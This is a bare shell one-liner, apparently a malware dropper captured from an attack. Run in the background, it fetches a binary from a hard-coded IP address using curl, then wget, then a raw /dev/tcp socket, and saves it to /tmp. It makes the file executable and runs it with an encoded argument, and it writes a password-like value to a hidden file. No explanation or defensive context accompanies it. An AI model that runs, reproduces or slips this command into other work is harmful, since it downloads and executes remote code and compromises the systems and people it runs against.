nohup $SHELL -c "curl http://117.156.94.41:60104/linux -o /tmp/fXFTGZZRjh; if [ ! -f /tmp/fXFTGZZRjh ]; then wget http://117.156.94.41:60104/linux -O /tmp/fXFTGZZRjh; fi; if [ ! -f /tmp/fXFTGZZRjh ]; then exec 6<>/dev/tcp/117.156.94.41/60104 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/fXFTGZZRjh && chmod +x /tmp/fXFTGZZRjh && /tmp/fXFTGZZRjh 8hv/Om5ttSvH9+/ONLVxbDD4C4KHDe47ZW22Is33[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/fXFTGZZRjh && /tmp/fXFTGZZRjh 8hv/Om5ttSvH9+/ONLVxbDD4C4KHDe47ZW22Is33[...]" &#UPX!